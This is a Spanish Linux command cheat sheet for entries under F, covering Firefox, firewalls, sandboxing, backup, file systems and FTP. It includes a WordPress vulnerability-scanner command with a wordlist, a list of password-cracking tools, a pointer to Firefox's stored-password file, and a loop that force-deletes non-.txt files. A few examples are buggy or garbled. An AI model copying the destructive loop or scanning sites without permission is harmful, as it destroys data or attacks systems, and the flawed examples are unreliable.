chrome://browser/content/browser.xul (abre un navegador completo en una pestaña)
chrome://browser/content/preferences/preferences.xul (Abre las preferencias)
Archivos de interés en los perfiles de firefox (.mozilla/firefox/*.default):
```

```
bookmarks.html - Nuestros marcadores
cert8.db - Certificados de seguridad
formhistory.dat - Formularios memorizados
key3.db - Contraseñas almacenadas
"about:" (escrito en la barra de direcciones de firefox):
```

```
about: (Información sobre el navegador)
about:blank (Una página en blanco)
about:buildconfig (Detalles de la compilación para nuestra versión)
about:cache (información sobre la cache del navegador)
about:cache?device=memory (Muestra la caché en memoria)
about:cache?device=disk (Muestra la caché de disco)
about:config (Configuración del navegador)
about:credits (Lista de los que contribuyeron al desarrollo del navegador)
about:logo (El logo del navegador)
about:mozilla (Muestra un pasaje de El Libro de Mozilla)
about:plugins (lista detallada de los plugins que tenemos instalados)
```

```
$ grep -hIr :name ~/.mozilla/firefox/*.default/extensions | tr '<>=' '""' | cut -f3 -d' ' | sort
-u
listar las extensiones de firefox
```

```
$ firefox -ProfileManager -no-remote
crear un perfil sin cerrar firefox
```

```
$ firefox http://www.google.com/search?q=BUSQUEDA
buscar algo por linea de comandos [abre el navegador]
```

```
$ firefox http://images.google.com/images?q=BUSQUEDA
```

## F

Lo mismo para imágenes

```
$ firefox http://books.google.es/search?q=BUSQUEDA
lo mismo con libros
```

```
$ firefox http://news.google.es/news/search?q=BUSQUEDA
Con noticias
```

```
$ find ~/.mozilla -iname '*.sqlite' -execdir sqlite3 {} 'vacuum;' \;
desfragmentar la base de datos de firefox. Tambien existe plugin[SQLite Manager]
```

1.-

Mandar un email desde la barra de direcciones (Valido tambien para chromium):

Tener configurado un gestor de correos [evolution, thunderbird..]. Escribir en la abarra de direcciones:

```
mailto:usuario@gmail.com
Del destinatario. Se abra el gestor de correo listo para escribir.
```

Atajos:

Navegación:

```
Alt + <- (Ir a la página anterior)
Atl + -> (Ir a la página siguiente)
Alt + inicio (Inicio)
^ + o (Abrir archivo)
F5 (Recargar)
^+ F5 (Recargar reemplazando caché)
Esc (Detener)
Página actual:
```

```
Fin (Ir al final de la página)
Inicio (Ir a principio de la página) date
F6 (Ir a la siguiente pestaña)
Mayús + F6 (Ir a la anterior pestaña)
^+ p (Imprimir)
^+ s (Guardar página como...)
^+ + (Aumentar tamaño texto)
^+ - (Reducir tamaño texto)
^+ 0 (Restablecer tamaño texto)
Editar:
```

```
^+ c (Copiar)
^+ x (Cortar)
Supr (Eliminar)
^+ v (Pegar)
^ + Z (Rehacer)
^+ a (Seleccionar todo)
^+ z (Deshacer)
Buscar:
```

```
^ +f (Encontrar)
F3 (Encontrar de nuevo)
Mayús * F3 (Encontrar anterior)
' (Búsqueda texto de enlaces)
/ (Búsqueda rápida)
Esc (Cerrar búsquedas)
^+ k (Barra de búsqueda)
Alt + flecha arriba/abajo , con el foco en la barra (Seleccionar motor búsqueda)
Ventanas y pestañas:
```

```
^ + w (Cerrar pestaña)
Alt + F4 (Cerrar ventana)
^ + <- (Mover pestaña a la izq.)
^+ -> (Mover pestaña a la dere.)
^+ home (Mover pestaña al comienzo)
^+ fin (Mover pestaña al final)
^+ t (Nueva pestaña)
^+ n (Nueva ventana)
Alt + intro desde la barra direcciones o busluedas (Abrir en nueva pestaña)
^+ tab (Pestaña siguiente)
```

```

^+ Mayús + tab (Pestaña anterior)
^+ Mayús + t (Deshacer cerrar pestaña)
^+ Mayús + n (Deshacer cerrar ventana)
^+ 1 ....8 (Seleccionar pestaña 1 a 8)
^+ 9 (Seleccionar última pestaña)
^+ Mayús + e (Vista grupos de pestañas)
Esc (Cerrar vista de grupos pestañas)
Historial:

```

```

^+ h (Panel lateral de Historial)
^+ H (Historial)
Marcadores:

```

```

^ + D (Agregar pestañas a marcadores)
^+ d (Agregar página a marcadores)
^+ b (Panel lateral de marcadores)
^+ O (Marcadores)
Herramientas: http://www.overlooksoft.com/

```

```

^+ Y (Descargas)
^+ A (Complementos)
^+ K (Consola web)
^+ I (Inspeccionar)
Mayús + F4 (Borrador)
^+ u (Código fuente de la página)
^+ J (Consola de errores)
^+ i (Información de la página)
^+ P (Navegación privada)
^+ S (Limpiar historial) http://www.overlooksoft.com/
Otros atajos:

```

```

^+ intro (Completar dirección .com)
Mayús + intro (Completar dirección .net)
^+ Mayús + intro (Completar dirección .org)
Alt (Ver barra de menús en kde)
F10 (Ver barra de menús en gnome)
^+ / (Mostrar/Ocultar complementos)
F7 (Navegación con cursor)
F11 (Pantalla completa)
^+ l (Barra de direcciones)

```

## firehol

Genera firewalls genéricos basados en iptables. El archivo de configuración se encuentra en /etc/firehol/firehol.conf. Primero activar la configuración básica:

```
START_FIREHOL=YES
```

```
WAIT_FOR_IFACE="enpl0" (la interfaz de red [eth0, wlan0 ...])
```

```
FIREHOL_ESTABLISHED_ACTIVATION_ACCEPT=1 (permitir tráfico preestablecido mientras el firewall esté activado)
```

Otras opciones:

```
0 (No permitir que el tráfico preestablecido continúe mientras el firewall esté activado)
"optimal" (óptimo)
```

```
"accurate" (preciso)
```

```
# firehol helpme > /tmp/firehol.conf
crea una configuración adaptada a nuestro pc y la guarda en un archivo
```

```
# firehol try /tmp/firehol.conf
después de parar la aplicación [firehol stop] probar la configuración anterior y si nos satisface,
copiarla en /etc/firehol/firehol.conf
```

```
# firehol start
tambien se tiene que arrancar
```

```
# firehol stop
```

## F

```
parar servicio
```

```
# firehol status  
estado de las conexiones
```

```
# firehol cstatus  
estado de las conexiones de forma interactiva
```

```
# firehol panic  
bloquear toda la comunicación IP
```

```
# firehol restore  
volver al estado normal de la aplicación
```

```
# firehol restart  
reiniciar despues de un cambio en la configuración
```

```
# firehol explain  
ingresar al modo interactivo y probar directivas. También proporciona los comandos de iptables  
para cada directiva junto con el razonamiento. No modifica ningún archivo de configuración
```

```
FireHOL [:] >
```

Después de entrar en modo interactivo con la aplicación, podemos probar entrando algunos conceptos:

```
FireHOL [:] > interface eth0 world
```

```
FireHOL [interface:world] > server smtp accept
```

```
FireHOL [interface:world] > server ssh accept
```

```
FireHOL [interface:world] > client http accept
```

```
FireHOL [interface:world] > quit
```

Si alguno nos interesa podemos entrarlo en el archivo de configuración `/etc/firehol/firehol.conf`

1.- Muestra de un archivo de configuración

```
# nano /etc/firehol/firehol.conf
```

```
...
```

```
# Acepta todo el trafico entrante
```

```
interface any world
```

```
# Rechazar todos los paquetes entrantes
```

```
policy drop
```

```
# Todas las politicas de proteccion activas.
```

```
protection all
```

```
# Politicas de servicios que ofrecemos [web y torrents]
```

```
#server "http https" accept
```

```
#server p2p accept
```

```
# Todo el trafico saliente aceptado
```

```
client all accept
```



## firejail

[firetools]. Programa que reduce el riesgo de violaciones de seguridad restringiendo el entorno de ejecución de aplicaciones no confiables encerrandolas en "jaulas" [sandbox] aisladas del sistema operativo, esto incluye al proceso y todos sus descendientes.

```
$ firejail transmission-gtk
# firejail /etc/init.d/nginx start
$ firejail --private --dns=8.8.8.8 --dns=8.8.4.4 firefox --no-remote
$ firejail --net=eth0 firefox
$ firejail --net=eth0 --ip=192.168.1.207 firefox
$ firejail firefox&
$ firejail vlc
$ firejail --net=none vlc
ejecutar vlc sin que tenga acceso a internet

$ firejail --list
lista de programas que se estan ejecutando en el sandbox

$ firejail --top
monitorizar el consumo de recursos de los programas del sandbox
```

Nota.- el ampersand [&] permite cerrar la terminal y que el programa se siga ejecutando

La totalidad de perfiles disponibles se muestra en:

```
$ ls /etc/firejail/
```

## firewalld

es un demonio de firewall administrado dinámicamente con soporte para zonas de red/firewall para definir el nivel de confianza de las conexiones o interfaces de red. De modo predeterminado Firewalld tiene diferentes tipos de zonas. Cada una tiene un distinto nivel de seguridad: Para redes públicas: drop, block y public [predeterminada], redes externas: external, redes para hogar: work, home y internal y trusted en que todas las conexiones son aceptadas. En la mayoría se descartan los paquetes entrantes no solicitados y el resto son rechazados.

```
# systemctl enable firewalld
iniciar firewalld automaaticamente al inicio del sistema

# firewall-cmd --state
comprobar si esta activo. Más información: systemctl status firewalld

# firewall-cmd --check-config
si el archivo de configuración tiene errores

# firewall-cmd --get-log-denied
imprimir el registro de valores denegados

# firewall-cmd --list-all
visión completa de la configuración de firewalld

# firewall-cmd --list-all --zone=home
de una zona concreta

# firewall-cmd --add-service=ssh --timeout 15m
incluir ssh durante 15 minutos al firewall

# firewall-cmd --permanent --get-zones

# firewall-cmd --reload
releer configuración después de algún cambio

# firewall-cmd --panic-on
desactivar inmediatamente el trafico de red

# firewall-cmd --panic-off
```

## F

```
volver a activarlo
```

```
# firewall-cmd --query-panic
comprobar si está activado o no el modo panic
```

```
# firewall-cmd --list-services
servicios no permitidos
```

```
# firewall-cmd --get-services
numerar todos los servicios predefinidos
```

```
# firewall-cmd --add-service=samba
añadir un servicio a los permitidos
```

```
# firewall-cmd --runtime-to-permanent
que la nueva configuración sea permanente
```

```
# firewall-cmd --list-ports
listar los puertos permitidos
```

```
# firewall-cmd --add-port=22/tcp
añadir un puerto y tipo a los permitidos
```

```
# firewall-cmd --remove-port=22/tcp
cerrar un puerto
```

```
# firewall-cmd --list-all-zones
información detallada de todas las zonas
```

```
# firewall-cmd --zone=public --list-all
información detallada de una zona concreta
```

```
# firewall-cmd --get-default-zone
verificar qué zona es la utilizada por el firewalld
```

```
# firewall-cmd --get-active-zone
ver los interfaces asociados a cada zona
```

## firewall-tests

Test completo del sistema sobre el firewall [ver].

```
# /usr/share/firewalld/testsuite/testsuite
```

## fish

Intérprete de comandos.

```
$ fish
entra en la shell
```

```
pep@Deb ~> help (abre las instrucciones sobre fish en el navegador por defecto)
```

```
help: Help is being displayed in xdg-open.
```

```
pep@Deb ~> exit (salir de fish)
```

## fixfiles

[selinux]. Este script se utiliza principalmente para corregir la base de datos del contexto de seguridad en los sistemas de archivos. También se puede ejecutar en cualquier momento para reetiquetar cuando se agregue soporte para una nueva política, o simplemente para comprobar si los contextos de los archivos son los esperados. Por defecto reetiquetará todos los sistemas de ficheros ext2, ext3, xfs y jfs montados, siempre y cuando no tengan una opción de montaje en el contexto de seguridad. El fichero /etc/selinux/fixfiles\_exclude\_dirs puede contener una lista de directorios excluidos del reetiquetado. De manera más general, los programas iniciados por scripts init pueden no funcionar correctamente. Este problema se debe generalmente al etiquetado incorrecto de uno o más scripts de init. Puede reetiquetar los scripts emitiendo el comando fixfiles.

```
$ fixfiles restore
```

## fixparts

[gdisk]. Repara ciertos tipos de problemas con la partición Master Boot Record (MBR). Puede eliminar datos de la tabla de particiones GUID (GPT), que se pueden dejar en un disco que alguna vez se usó como disco GPT, puede reparar particiones extendidas de tamaño incorrecto, ya sea particiones que se extiendan más allá del extremo físico del disco o que se superpongan con particiones primarias cercanas y también puede cambiar las particiones primarias en particiones lógicas o viceversa.

```
# fixparts /dev/sda
```

## fgkill

Matar procesos de forma interactiva. Descarga <<https://github.com/sindresorhus/fgkill-cli>>

```
$ fgkill
```

Una vez mostrada la salida, empezar a teclear el nombre de la aplicación y cuando aparezca, al pulsar intro se cerrará.

Otras formas de uso:

```
$ fgkill 54377
por el pid del proceso
```

```
$ fgkill chromium
por nombre directamente de la aplicación a cerrar
```

```
$ fgkill :5050
por numero de puerto
```

## flatpak

Instalar, obtener, administrar y ejecutar paquetes de aplicaciones, alojadas en flathub, lugar central de aplicaciones linux. Para habilitar flathub lanzar en una terminal:

```
# flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo
```

Reiniciar el sistema y ya podran usarse los argumentos especificos que procedan.

```
$ flatpak update
actualizar las aplicaciones
```

```
$ flatpak list
listar aplicaciones instaladas
```

```
$ flatpak history
mostrar historial
```

```
$ flatpak config
lenguajes configurados
```

```
$ flatpak repair
reparar la instalación de flatpak
```

```
$ flatpak info
mostrar información de una aplicacion instalada
```

```
$ flatpak uninstall paquete
desinstalar una aplicación
```

```
$ flatpak search paquete
buscar aplicaciones
```

```
$ flatpak kill aplicacion
detener una aplicación flatpak en ejecución
```

```
$ flatpak ps
ver las aplicaciones flatpak ejecutándose
```

```
$ flatpak run aplicacion
ejecutar una aplicación flatpak
```

## flexget

[python2.6 python-pip]. Descarga de series a partir de su direccion RSS. Archivo de configuración:

```
$ nano .flexget/config.yml
```

Con un contenido parecido a:

```
presets:
  tv:
    series:
      settings:
        hdtv:
          timeframe: 8 hours
        hdtv <720p:
          - serie 1
          - serie 2
          - serie 3
          - etc
    content_filter:
      require:
        - '*.avi'
    download: "/media/discoext/Descargas/Torrents"
tasks:
  TvTorrent1:
    rss: http://showrss.karmorra.info/feeds/all.rss
    preset: tv
```

```
$ flexget --test
```

Comprobar si la configuración es correcta

```
$ flexget
```

Lanzar la aplicación

## flunym0us

Pruebas de vulnerabilidad de webs basadas en wordpress. Descarga <http://code.google.com/p/flunym0us/downloads/list>

```
$ flunym0us -H http://host -w /home/usuario/wordlist -wp -t 60 -r 1 -p 2 -T 2
```

Opciones:

```
-wp (Scanear un sitio wordpress)
-mo (scanear un sitio Moodle)
-H http://host (Nombre del host wordpress a scanear)
-w /home/usuario/wordlist (Ruta al diccionario)
-t 60 (Tiempo de espera)
-r 1 (Reintentos de conexión)
-p 2 (Numero de procesos)
-T 2 (Número de subprocesos simultaneos por proceso)
```

## fluxbox-generate\_menu

Generador de menús de fluxbox.

```
$ fluxbox-generate_menu -g
```

Añade un menú tipo gnome

```
$ fluxbox-generate_menu -k -o ~/.fluxbox/menu1
```

Añade menú tipo kde y lo coloca en menu1 para probarlo. Sin especificar, substituiría el .fluxbox/menu

## flvstreamer

Descarga de videos con protocolo RTMP.

Supongamos que el video a descargar tenga por ruta: <http://www.tv3.cat/videos/1307049732092>

Abrir una pestaña del navegador y pegar:

```
http://www.tv3.cat/su/tvc/tvcConditionalAccess.jsp?ID=1307049732092&QUALITY=H&FORMAT=MP4
```

Colocando en el número ID= el que corresponda y con la ruta rtmp que nos indique lanzar [en una sola linea]:

```
$ flvstreamer -r rtmp://mp4-500-str.tv3.cat/ondemand/mp4:g/tvcatalunya/2/9/1307049732092.mp4 -o video.mp4
```

## fmt

Eliminar saltos de linea de un archivo y uniendo párrafos.

```
$ fmt -w 80 fichero.txt
limitando el número de caracteres por linea
```

```
$ fmt -s 10 fichero.txt
solo une las lineas inferiores a 10 caracteres
```

## fnotifystat

Programa que vuelca la actividad del sistema de archivos en un periodo de tiempo determinado. Se puede utilizar para identificar la actividad de determinados archivos y descubrir qué procesos están realizando operaciones de apertura, cierre, lectura y escritura en los archivos.

```
# fnotifystat -D -T
ordenar estadísticas por dispositivo único y mostrando la fecha
```

```
# fnotifystat -p 16755
solo muestra archivos tocados por el proceso pid mencionado
```

```
# fnotifystat -c -i /proc
volcar totales acumulados y especificar evento
```

```
# fnotifystat -n -i /sys,/proc
especificando 2 procesos y sin estadísticas
```

Algunas opciones:

```
-d (quitar la ruta completa del directorio de los nombres de archivo)
-h (muestra ayuda)
-l (estadísticas por dispositivo único e inodo)
-P (ordenar las estadísticas por pid, totales y nombre de archivo)
-s (deshabilita la escala de los conteos de archivos)
-t (solo muestra los archivos más activos)
-v (modo detallado)
```

## fnt

Buscar, obtener vista previa y descargar más de 1800 fuentes de los repositorios de fuentes web de Debian y Google.

```
$ fnt update
actualizar el listado
```

```
$ fnt list
listar
```

## F

```
$ fnt search comic
buscar las "comic"
```

```
$ fnt preview agave
visualizar "agave"
```

```
# fnt install agave
instalar una concreta
```

## fntsample

Generador de ejemplos de fuentes que permite visualizar si determinada letra incluye el tipo de grafía que requiere nuestro locale (acento, geminada...)

```
$ fntsample -f .fonts/3Dumb.ttf -o 3Dumb.pdf
Especificando la fuente y el archivo para la salida
```

```
$ fntsample -f ../fonts/Hack-Regular.ttf -d ../fonts/Hack-Italic.ttf -o
diferencias_italic_regular.pdf
ver diferencias entre dos fuentes
```

## fold

Formatea la salida de un archivo a una determinada longitud.

```
$ fold archivo
a 80 caracteres por linea. Por defecto
```

```
$ fold -w 100 -s archivo
100 caracteres por linea y que corte por los espacios entre palabras y no por las palabras
```

## fonts-roadgeek

Conjunto de fuentes que replica los tipos de letra utilizados en las señales de carretera en varios países.

## for

(ucle)]. Ejecuta un trozo de código si la expresión de control es verdadera y sólo se para cuando es falsa.

Ejemplos:

1.-

```
#!/bin/bash

for i in $( ls ); do

    echo item --> $i

done
```

2.-

```
#!/bin/bash
for i in `seq 1 10`;
do
    echo $i
done
```

Nota.- Si los números los quisieramos en una misma linea, encerrar la variable entre comillas ["`seq 1 10`"]

## F

3.-

```
#!/bin/bash
for i in 1 2 3 4 5
do
    echo "Es el número $i "
done
```

4.-

```
#!/bin/bash
for i in {1..5}
do
    echo "Es el número $i "
done
```

5.-

Del 1 al 10 de 2 en 2:

```
#!/bin/bash
for i in {1..10..2}
do
    echo "Es el número $i "
done
```

6.-

```
#!/bin/bash
# eliminar todos los archivos que no sean .txt
for a in `ls | grep -v txt`
do
    rm -fr $a
done
```

## foremost

Recuperación de datos

```
# foremost -i /dev/sda -o /recovery
# foremost -t jpg -i /dev/sda3 -o /home/usr/recuperado
Recuperar jdatepgs de una partición
```

proceso sobre una imagen:

```
# dd if=/dev/sda1 of=imagen.iso conv=noerror,sync
Crear la imagen iso del dispositivo a recuperar. conv=noerror,sync indica que ignore errores
```

```
# foremost -v -t all -o /home/usuario/recuperado -i imagen.iso
```

```
-v .- modo detallado
-o .- lugar donde almacenar los archivos recuperados
-t all .- tipo de archivo a buscar. Para recuperar solo jpg: -t jpg. Para una lista de
extensiones: -t jpg,doc,png
-i .- lugar donde esta la iso a escanear.
```

## forensics-extra

Este paquete proporciona los componentes adicionales para un entorno forense. Todas las herramientas aquí disponibles están basadas en la consola de texto. Ninguna de estas herramientas estaba empaquetada por el equipo de Debian Forensics. Este metapaquete incluye la mayoría de programas de recuperación de datos, búsqueda de rootkit y exploit, sistemas de archivos y análisis de memoria, craker de contraseñas y diccionarios (puestos en /usr/share/dict), desensambladores, acciones especiales sobre el hardware y muchas otras actividades. No existe la intención de proporcionar herramientas para ataques remotos. Paquetes como aircrack-ng se proporcionan para permitir análisis locales sobre archivos pcap. Los paquetes hydra y nmap se pueden usar para encontrar vulnerabilidades dentro de una LAN que está siendo analizada. Este paquete es útil para pentesters, hackers éticos y forenses expertos. Los siguientes paquetes estan incluidos en este metapaquete:

## F

aircrack-ng, bfbtester, binutils, binwalk, bruteforce-luks, bzip2, cabextract, chntpw, clamav, cmospwd, crunch, cryptmount, cupp, dcfldd, disktype, dnsutils, ethstatus, ethtool, exfat-fuse, exfat-utils, exif, exiftags, libimage-exiftool-perl, exiv2, fatcat, fdupes, flasm, foremost, gdisk, geoip-bin, gifshuffle, hashcat, hashid, hexcompare, hexedit, hydra, jdupes, john, lcrack, less, maskprocessor, mc, mdadm, medusa, memstat, mpack, nasm, ncrack, neopi, netcat, nmap, ntfs-3g, ophcrack-cli, outguess, p7zip-full, parted, patator, pcapfix, pdfcrack, poppler-utils (provides pdfinfo), pecomato, pev, polenum, pyrit, rarcrack, samdump2, sipcrack, smb-nat, snowdrop, statsprocessor, stegosuite, stegsnow, sucrack, sxiv, tcpdump, tcpflow, tcpick, tcpreplay, tcpxtract, telnet, testdisk, tshark, uni2ascii, unrar-free, unzip, wamerican, wamerican-huge, wamerican-insane, wamerican-large, wamerican-small, wbrazilian, wbritish, wbritish-huge, wbritish-insane, wbritish-large, wbritish-small, wbulgarian, wcanadian, wcanadian-huge, wcanadian-insane, wcanadian-large, wcanadian-small, wcatalan, weplab, wfrench, wgaelic, wgerman-medical, whois, wifite, wirish, witalian, wmanx, wpolish, wportuguese, wspanish, wswedish, wukrainian, xxd.

## forkstat

Supervisa la actividad fork, exec y exit del proceso.

```
# forkstat -S -e all
mostrar estadísticas de eventos al final de la ejecución i sobre todos los procesos

# forkstat -s -d
información breve del nombre del proceso sin mostrar la ruta
```

## fortune

Mostrar frases aleatorias.

```
$ fortune
$ fortune -l
muestra citas largas

$ fortune -s
citas cortas

$ fortune -o
citas obscenas
```

Si queremos que al abrir la terminal muestre la fecha, añadir al final de /home/usuario/.bashrc:

```
fortune -a date
Las frases se encuentran en /usr/share/games/fortune
```

## fortune-anarchism

Proporciona un conjunto de citas anarquistas en inglés en el formato de base de datos de fortune.

## fping

Determina máquinas de una red activas

```
# fping -g 192.168.2./24 2> /dev/null | grep alive
```

## free

Listar la memoria RAM y swap utilizada y disponible

```
$ free -m
muestra los resultados en megabytes
```



## freeradius

[libssl-dev freeradius-mysql freeradius-utils]. Servidor.

Configurar la base de datos:

```
# nano /etc/freeradius/sites-enabled/default
```

En los apartados "authorize" y "accounting" descomentar las líneas sql

```
# nano /etc/freeradius/radius.conf
```

Descomentar la línea \$INCLUDE sql.conf

Configurar usuario, contraseña y mensaje de bienvenida:

```
# nano /etc/freeradius/users
```

USUARIO Cleartext-Password := "CONTRASEÑA"

```
Reply-Message "Entrando en el servidor el usuario %{User_Name}"
```

Configurar usuario y contraseña del router o punto de acceso:

```
# nano /etc/freeradius/clients.conf
```

client 192.168.1.0/24 {

```
    secret          = CONTRASEÑA_ROUTER
    shortname        = USUARIO_ROUTE
```

Finalmente entrar en router y colocar la ip del equipo donde hemos instalado el servidor.  
Reiniciar el servicio.

```
# /etc/init.d/freeradius restart
```

```
# freeradius -X
```

Arrancar en modo debug

```
# radtest USUARIO testing 127.0.0.1 1812 testing123
```

Testear si la configuración de un usuario está correcta

## freshclam

[clamav-freshclam]. Actualizar la base de datos de virus. Ver clamav

## fsarchiver

Es una herramienta similar a partimage para crear imágenes de una o varias particiones a la vez a un fichero así como restaurar dichas imágenes más tarde.

```
# fsarchiver savefs /data/imagen.fsa /dev/sda1 (creamos la imagen de la partición).
```

```
# fsarchiver savefs /data/imagen2.fsa /dev/sda1 /dev/sdb1 (creamos la imagen de dos particiones simultaneamente que seran almacenadas en el mismo fichero).
```

```
# fsarchiver restfs /data/imagen2.fsa id=0,dest=/dev/sda1 (restauramos la primera partición de la imagen).
```

```
# fsarchiver restfs /data/imagen2.fsa id=1,dest=/dev/sdb1 (restauramos la segunda partición).
```

```
# fsarchiver restfs /data/imagen2.fsa id=0,dest=/dev/sda1 id=1,dest=/dev/sdb1 (restauramos a la vez las dos particiones).
```

## fsck

[recomendado dosfstools]. Reparar/chequear/formatear una partición no montada.

```
# fsck -fy /dev/hda1

# fsck.ext2 -vpf /dev/hda1
Repara una partición ext2

# fsck.ext3 -vpf /dev/hda1
Repara una partición ext3

# fsck -fpC 0 /dev/sda1

# fsck.ext4 -cDfty -C 0 /dev/sda1

# fsck.ext4 -vpf /dev/sda1
Muestra información sobre una partición: fragmentación, inodos, bloques, archivos...

# fsck.vfat -w -r -l -a -v -t
Reparar particion FAT32 con dirty bit activado
```

Opciones:

```
-A .- Permitira una navegación en toda la estructura de /etc/fstab.
-V .- información adicional sobre las acciones de fsck
-t .- Imprimir estadísticas de estado (-tt para más información)
-a .- Repara cualquier problema que encuentra en el sistema de archivos sin preguntar (no
      recomendada)
-l .- Lista todos los nombres de archivos
-r .- Pide confirmación antes de reparar el sistema de archivos.
-s .- Lista el superbblock antes de chequear el sistema de archivos.
sis_arch .- Especifica el sistema de archivos a verificar
-c .- Buscar bloques dañados con badblocks (ver badblocks)
-k .- Bloques dañados donde se almacenan con el comando anterior.
-C 0 .- Muestra barra de progreso.
-p .- forzar verificación y reparar automaticamente errores
-D .- Optimizar directorios si es posible
-f .- Forzar el chequeo incluso si el sistema de archivos parece correcto
-Y .- Asume respuesta "yes" a todas las preguntas

1.-
```

Autoreparación de errores al arrancar:

```
# nano /etc/default/rcS
```

Y modificar la linea:

FSCKFIX=yes

## fspy

Herramienta de monitorización de la actividad de un sistema de archivos.

```
# fspy /home/usuario
```

## fstab

(/etc/fstab). Lista todos los discos y particiones disponibles e indica cómo deben ser inicializados. Su estructura es:

\* Particion punto\_de\_montaje sistema\_de\_archivos opciones respaldos orden

Y un ejemplo seria:

```
/dev/sda5 /media/datos ext4 rw,users,exec,auto 0 0 (especificando el número de partición)
UUID=0e4d9ccb-93bb-4762-8b67-c23d181fc84a / ext4 errors=remount-ro 0 1 (especificando el
      UUID de la partición)
Los puntos de montaje han de existir en el sistema y normalmente se colocan en /media
```

## F

Algunos sistemas de archivos pueden ser:

```
auto (intenta descubrir automáticamente el sistema de archivos).
ext2 (sistema de archivos común en Linux).
ext3 (igual que ext2 pero además añade journaling).
ext4 (introdujo significativas mejoras respecto a ext3)
reiserfs (otro sistema muy común en Linux)
msdos (para dispositivos que usen FAT16)
vfat (para dispositivos que usen FAT32).
ntfs (sistema de archivos NTFS de Windows)
smbfs (sistema de archivos de Samba).
nfs (sistema de archivos de red NFS)
```

Algunas opciones:

```
auto (el dispositivo será montado automáticamente durante el inicio. auto es el valor por defecto)
noauto (Si no se desea que el dispositivo se monte automáticamente)
exec (permite ejecutar binarios que están en la partición)
noexec (lo impide. útil en particiones windows)
ro (Montar sólo lectura)
rw (Montar para lectura/escritura)
user (Permite a cualquier usuario montar el sistema de archivos)
nouser (Solo el usuario root podrá montar el sistema de archivos)
defaults (Utiliza las opciones por defecto: rw,exec,auto,nouser)
Respaldo. Es el comando que utiliza dump para hacer respaldos del sistema de archivos. Cero desactiva la opción.
```

Orden. indica el orden en que la aplicación fsck revisará la partición en busca de errores durante el inicio, si es cero el dispositivo no se revisa.

## fswebcam

Capturas con la webcam.

```
$ fswebcam --crop 200x100 --save out
Especificando medidas y archivo de salida
```

```
$ fswebcam -r 600x500 out1.jpeg --greyscale out2.jpeg
Dos capturas, especificando resolución y la otra en escala de grises
```

```
$ fswebcam --banner-colour "#FF0000" --save out
Con el banner de color rojo
```

Algunas opciones:

```
-d (Especificar el dispositivo de video. Por defecto /dev/video0)
--no-banner (Que la captura no muestre el banner. Por defecto sale en la parte inferior)
--top-banner (Que el banner salga en parte superior)
--title "linux es genial" (Mostrando un texto en el banner)
--timestamp "%d-%m-%Y" (Mostrando en el banner la fecha en formato día-mes-año)
--info "Linux es un sistema genial" (Añadir un texto que se muestra debajo de la fecha con letra más pequeña)
--invert (Haciendo un negativo de la imagen)
```

## fte

Editor. Según se lance desde las X o por consola se usará fte, xfte o sfte. F1 muestra todos los atajos y se accede a los menús de forma clásica con Alt+f...

## ftff

[whichman]. Busca archivos o directorios

```
$ ftff -t2 logfile.txt
busca logfile con dos errores en el nombre. permite asterisco [*]
```

## ftp

Conexión remota por linea de comandos

```
# ftp -help
Para obtener ayuda
```

```
# ftp -u usuario,clave ftp.dominio.com
Para conectarnos con un servidor
```

```
# ftp dominio.com 20201
Entrar especificando un puerto
```

Al entrar en el directorio raiz del servidor ftp remoto con un prompt al estilo de:

```
ftp usuario@ftp.dominio.com:~>
```

Algunas opciones:

```
get archivo (Recibir un fichero de la máquina remota)
mget file file file (Recibir varios ficheros de la máquina remota.
put archivo (Enviar un fichero desde nuestra máquina a la máquina remota)
mput file file file (Enviar varios archivos de nuestra máquina a la máquina remota)
quit (Para desconectarnos del servidor)
!ls (Ejecuta una shell que permite la entrada de comandos [ls] en nuestro sistema. Con "
    exit" volveremos al programa de FTP)
!xterm & (Lanzaría otra xterm)
bell (Indica al sistema que ejecute un pitido cuando finalice la ejecución de los comandos
)
bye (Termina la ejecución de ftp)
quit (Termina la ejecución de ftp)
close (Termina la sesión ftp sin salir del programa)
delete file (Borra un archivo)
mdelete file file file (Borra varios archivos)
reget file(Continuar bajando un fichero cortado anteriormente)
open (conectar desde un ftp a otro)
? (Muestra todos los comandos disponibles)
cd, dir, ls, list, mkdir, rmdir, pwd, rename (Funcionan igual que en la shell)
```

## funcoeszz

Conjunto de 65 funciones y utilidades varias. Una vez instalado:

```
$ funcoeszz zzzz --bashrc
Para colocar las lineas en .bashrc
```

```
# Instalacao das Funcoes ZZ (www.funcoeszz.net)
source /usr/bin/funcoeszz
export ZZPATH=/usr/bin/funcoeszz
```

```
$ source .bashrc
Releer el fichero
```

```
$ funcoeszz zzzz
listado de los 65 funciones
```

```
$ funcoeszz zzzz --teste
Comprobar que todos los ejecutables que necesita la aplicación estan instalados
```

```
$ funcoeszz zzzz --atualiza
Baja las últimas versiones de las funciones
```

```
$ funcoeszz ajuda
Ayuda muy util sobre como usar cada un de las funciones
```

```
$ funcoeszz ascii
Lanzar una de las funciones del listado
```

## funzip

Muestra los datos de un archivo comprimido en zip o gz.

```
$ funzip archivo.zip
```

```
$ funzip -contraseña archivo.gz
```

En caso de tener contraseña. No es muy aconsejable porque queda en el history

## fuser

Cerrar particiones rebeldes, saber aplicaciones que corren en un puerto...

```
$ fuser -km /media/sda6
```

Mata todos los procesos de la partición especificada. Luego desmontarla normal con umount

```
$ fuser -n tcp 3389
```

indica PID que corre en el puerto 3389

```
$ fuser -k 80/tcp
```

cerrar todo el tráfico tcp del puerto 80

```
$ fuser -v archivo
```

Muestra los procesos usados por un fichero o directorio

```
# fuser -n tcp -s 22 && echo "abierto"
```

Indica si un puerto está abierto

## fusermount

[Filesystem in Userspace-FUSE]. El sistema de archivos en el espacio de usuario [FUSE] es un método seguro para que usuarios sin privilegios creen y monten sus propias implementaciones de sistemas de archivos.

```
# fusermount -o /media/punto_montaje
```

montar un sistema de archivos

```
# fusermount -z /media/punto_montaje
```

Desmontar el sistema de archivos tan pronto como deje de usarse

```
# fusermount -u /media/punto_montaje
```

Desmonta un sistema de archivos

## fwlogwatch

Analizador de registros. Los mensajes en /var/log/messages y la configuración en /etc/fwlogwatch.conf en el que se han de descomentar los conceptos que interesen aunque muchos se pueden habilitar lanzando la aplicación con argumentos. Incluye los ejecutables fwlw\_notify y fwlw\_respond. Un ejemplo de configuración:

```
stateful_start = yes
```

```
bind_to = 127.0.0.1
```

```
listen_port = 888
```

```
show_log_times
```

```
# fwlogwatch
```

```
# fwlogwatch -w -o log.html
```

```
# fwlogwatch -v -b -t -e -z -w -o fwlogw.html
```

```
